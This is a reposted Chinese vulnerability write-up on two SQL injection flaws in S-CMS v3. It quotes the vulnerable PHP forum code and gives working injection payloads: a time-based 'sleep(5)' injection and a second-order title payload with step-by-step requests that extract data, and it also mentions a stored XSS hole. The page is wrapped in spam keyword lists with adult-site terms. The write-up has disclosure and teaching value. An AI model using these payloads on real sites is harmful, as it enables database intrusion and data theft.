婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > S-CMS企建v3二次SQL注入的方法

S-CMS企建v3二次SQL注入的方法

熱門標簽:智能電銷機器人廣告語 強訊外呼系統 貴陽ai外呼系統 crm外呼系統好不好 重慶人工智能電銷機器人報價 電話機器人批發 電銷外呼線路改不外呼線路 長春極信防封電銷卡公司 愛巢地圖標注

0x01 前言

繼上一篇的S-CMS漏洞再來一波!首發T00ls

0x2 目錄

Sql注入二次SQL注入

0x03 Sql注入

漏洞文件:\scms\bbs\bbs.php

$action=$_GET["action"];
$S_id=$_GET["S_id"];
if($action=="add"){
$B_title=htmlspecialchars($_POST["B_title"]);
$B_sort=$_POST["B_sort"];
$B_content=htmlspecialchars($_POST["B_content"]);
$S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh");
if($S_sh==1){
$B_sh=0;
}else{
$B_sh=1;
}
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
$sql="Select * from SL_bbs order by B_id desc limit 1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
 if (mysqli_num_rows($result) > 0) {
 $B_id=$row["B_id"];
 }

相對來說這個注入比較簡單,$B_sort 無過濾直接從POST獲取,然而在SELECT查詢的時候使用了intval函數來過濾變量。不過后面在insert的時候卻沒有任何過濾(無單引號包含)導致sql注入。

漏洞驗證:

—Payload:

——http://127.0.0.1/scms/bbs/bbs.php?action=add

——B_title=test&B_content=test11&B_sort=1 and sleep(5)

$debug調試信息:

Insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('test','test11','2018-12-08 14:21:25',17,1 and sleep(5),0)

0x04 二次注入

漏洞文件:

\scms\bbs\bbs.php

\scms\bbs\item.php

先看一下漏洞觸發點:

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;
 $result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
 if (mysqli_num_rows($result) > 0) {
 $B_title=lang($row["B_title"]);
 $B_content=lang($row["B_content"]);
 $B_time=$row["B_time"];
 $B_sort=$row["B_sort"];
 $S_title=lang($row["S_title"]);
 $B_view=$row["B_view"];
 $M_login=$row["M_login"];
 $M_pic=$row["M_pic"];
 $L_title=$row["L_title"];
 }
if(substr($M_pic,0,4)!="http"){
$M_pic="../media/".$M_pic;
}
$sql2="Select count(*) as B_count from SL_bbs where B_sub=".$id;

$result2 = mysqli_query($conn, $sql2);
$row2 = mysqli_fetch_assoc($result2);
$B_count=$row2["B_count"];
if($action=="reply"){
$B_contentx=$_POST["B_content"];
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回復成功!","item.php?id=".$id,"success");
}

簡單說一下邏輯,第一步執行的sql語句是查詢帖子的詳細內容($id帖子id)

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;

然后把查詢到的內容各自賦給一個變量

 $B_title=lang($row["B_title"]);
 $B_content=lang($row["B_content"]);
 $B_time=$row["B_time"];
 $B_sort=$row["B_sort"];
..............................

到后面判斷$action=="reply",進入回復帖子功能處

if($action=="reply"){
$B_contentx=$_POST["B_content"];
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回復成功!","item.php?id=".$id,"success");
}

可以看到$B_contentx=$_POST["B_content"]無過濾,這里會觸發儲存xss漏洞。然而這個不是重點,繼續看執行的insert語句,發現$B_title等變量都拼接了進來,沒有sql過濾,而這些變量是從數據庫查詢出來的(帖子的標題等),然而回過頭去看上面的sql注入,不就是發帖功能的地方么。所以這些變量可控,導致二次sql注入。

漏洞觸發流程:

—首先我們去發帖B_title的值是我們的payload,還有其他的值

——B_title=',(select user()),'',1,999,1)%23&B_content=aaaaaaaaaaaa&B_sort=1

—然后我們去獲取帖子id,這個沒有特別好的辦法只能去摸索著找,可以先根據樓層判斷一共有多少帖子,然后一點一點的往后找,根據內容判斷是否是我們發布的帖子

——http://127.0.0.1//scms/bbs/item.php?id=帖子id

—獲取到帖子后去觸發漏洞

——http://127.0.0.1//scms/bbs/item.php?action=reply&id=帖子id

——B_content=test

—這里我說一下payload為什么是這樣的,這樣構造完全是為了達到回顯注入,因為后面打印回復內容的時候執行的sql注入是

——$sql="select * from SL_bbs where B_sub=".$id." order by B_id asc";

—而B_sub可控(在Insert的時候插入的),這樣我們就能直接獲取回顯。

漏洞演示:

—Payload1

——127.0.0.1/scms/bbs/bbs.php?action=add

——B_title=',(select user()),'',1,666,1)%23&B_content=hello_admin&B_sort=1

—Payload2

——獲取帖子id

——http://127.0.0.1//scms/bbs/item.php?id=30

—Payload3

——http://127.0.0.1//scms/bbs/item.php?action=reply&id=30

——B_content=test

執行完成!最后我們就可以去訪問我們的回復然后拿到回顯。http://127.0.0.1//scms/bbs/item.php?id=666這次id參數指向的是我們填的B_sub值

0x05 結束語

以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持腳本之家。

標簽:山南 陜西 吳忠 清遠 上海 廣安 內蒙古 保定

巨人網絡通訊聲明:本文標題《S-CMS企建v3二次SQL注入的方法》,本文關鍵詞  S-CMS,企建,二次,SQL,注入,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《S-CMS企建v3二次SQL注入的方法》相關的同類信息!
  • 本頁收集關于S-CMS企建v3二次SQL注入的方法的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    免费不卡在线视频| 免费成人av在线| 亚洲狠狠爱一区二区三区| 在线观看视频一区二区欧美日韩| 亚洲妇熟xx妇色黄| 亚洲国产裸拍裸体视频在线观看乱了| 精品国产sm最大网站免费看| 久久综合九色综合久久久精品综合| 在线不卡a资源高清| 欧美日韩亚洲不卡| 日韩欧美一级在线播放| 日本一区二区三区免费乱视频| 九九**精品视频免费播放| 中文成人综合网| 日韩美女视频19| 亚洲高清免费在线| 精品在线免费视频| 日本福利一区二区| 久久久亚洲午夜电影| 亚洲少妇屁股交4| 国内久久婷婷综合| 欧美伊人久久久久久久久影院| 欧美一区二区三区免费观看视频 | 欧美疯狂做受xxxx富婆| 久久先锋影音av鲁色资源网| 综合久久久久综合| 视频一区在线播放| 97久久精品人人做人人爽| 日韩欧美国产1| 欧美国产日韩一二三区| 亚洲五月六月丁香激情| 色婷婷激情一区二区三区| 欧美军同video69gay| 亚洲视频精选在线| www.亚洲国产| 欧美第一区第二区| 国产一区二区三区四区五区美女| 欧美性视频一区二区三区| 亚洲免费观看高清完整| 99麻豆久久久国产精品免费优播| 中文字幕免费观看一区| 成人av在线播放网址| 久久影院电视剧免费观看| 激情深爱一区二区| 欧美电影免费观看高清完整版 | 精品国偷自产国产一区| 婷婷综合在线观看| 欧美日韩久久一区二区| 一区二区国产盗摄色噜噜| 欧美视频在线一区二区三区| 亚洲在线免费播放| 日韩三级视频在线看| 精品一二三四区| 精品免费一区二区三区| 激情五月婷婷综合| 日韩一级大片在线观看| 国产剧情一区二区| 中文字幕一区二区三区四区不卡| 国产91丝袜在线18| 亚洲亚洲精品在线观看| 在线亚洲免费视频| 美国欧美日韩国产在线播放| 欧美高清在线一区| 国产**成人网毛片九色| 亚洲动漫第一页| 国产精品久久久久影院亚瑟 | 日本高清免费不卡视频| 九九久久精品视频| 视频一区二区三区中文字幕| 中文字幕亚洲视频| 精品福利av导航| 欧美久久久久免费| 欧美日韩免费一区二区三区| 欧美国产在线观看| 日韩一级片网站| 成人av在线一区二区| 裸体歌舞表演一区二区| 午夜视频一区二区| 粉嫩绯色av一区二区在线观看| 日韩精品成人一区二区三区| 国产精品久久久久一区二区三区 | 色偷偷88欧美精品久久久| 久久99精品国产麻豆婷婷洗澡| 亚洲主播在线播放| 亚洲视频一区二区在线| 久久影院午夜片一区| 色噜噜狠狠色综合欧洲selulu| 国产v日产∨综合v精品视频| 午夜精品久久久久| 久久不见久久见免费视频7| 亚洲国产精品一区二区久久| 调教+趴+乳夹+国产+精品| 国产盗摄精品一区二区三区在线| 天堂影院一区二区| 国产精品成人免费在线| 久久久久久久综合日本| 国产精品白丝在线| 亚洲免费资源在线播放| 樱花草国产18久久久久| 精品一区二区久久| 欧美日韩亚洲综合在线| 国产91精品露脸国语对白| 色噜噜夜夜夜综合网| 欧美区视频在线观看| 国产视频一区二区在线| 国产欧美久久久精品影院| 国产精品无码永久免费888| 一区二区三区不卡视频在线观看| 欧美激情一区二区三区四区| 亚洲欧洲日韩综合一区二区| 国产精品三级在线观看| 亚洲色图视频网站| 蜜臀av亚洲一区中文字幕| 成人午夜看片网址| 日韩欧美视频一区| 综合久久久久久久| 加勒比av一区二区| 欧美一区二区视频免费观看| 国产精品美日韩| 成人高清视频在线| 麻豆精品久久久| 麻豆久久久久久| 欧美高清视频一二三区| 日韩欧美国产综合一区| 蜜臀av亚洲一区中文字幕| 一本一道久久a久久精品 | 成人av在线一区二区三区| 91精品欧美福利在线观看| 亚洲欧美另类在线| 色菇凉天天综合网| 亚洲免费观看高清| 日韩精品一区二区三区在线播放| 日本欧美韩国一区三区| 日韩欧美一卡二卡| 成人h精品动漫一区二区三区| 1024精品合集| 91黄色免费观看| 久久久久久久电影| 国产自产高清不卡| 国产欧美一区视频| 99久久久精品免费观看国产蜜| 综合久久给合久久狠狠狠97色| 色哟哟一区二区在线观看| 老司机精品视频导航| 久久久国产一区二区三区四区小说| 国产**成人网毛片九色| 一区二区三区精品视频| 欧美福利电影网| 国产盗摄精品一区二区三区在线 | 亚洲成人资源在线| 国产日产欧美一区二区三区| 91精品国产欧美一区二区成人| 成人国产精品免费观看| 国产精品中文字幕一区二区三区| 亚洲精品久久7777| 中文字幕不卡一区| 久久午夜色播影院免费高清| 在线精品视频免费播放| 国产成人a级片| 精品无人码麻豆乱码1区2区 | 欧美一区二区三级| 欧美群妇大交群中文字幕| 91啪亚洲精品| 欧美日韩视频一区二区| 欧美一二三四区在线| 国产日韩精品一区二区三区 | 男人的天堂亚洲一区| 国产精品乱人伦中文| 精品久久国产字幕高潮| 欧美性大战xxxxx久久久| 国产精品夜夜爽| 欧美一区二区三区免费在线看| 国产精品美女视频| 不卡一区中文字幕| 中文字幕中文字幕在线一区| 国产精品一区二区视频| 日韩三级免费观看| 亚洲天堂中文字幕| 亚洲大型综合色站| 成人精品电影在线观看| 91精品午夜视频| 一级中文字幕一区二区| 丰满白嫩尤物一区二区| 欧美日韩久久久一区| 中文字幕免费一区| 成人毛片在线观看| 亚洲国产成人自拍| 国产成人精品免费一区二区| 精品区一区二区| 美女性感视频久久| 精品日产卡一卡二卡麻豆| 极品美女销魂一区二区三区免费| 欧美亚洲尤物久久| 亚洲成人av一区二区| 欧美性生活久久| 天天综合网天天综合色| 777a∨成人精品桃花网| 亚洲最大成人综合| 亚洲韩国精品一区| 欧美精品aⅴ在线视频|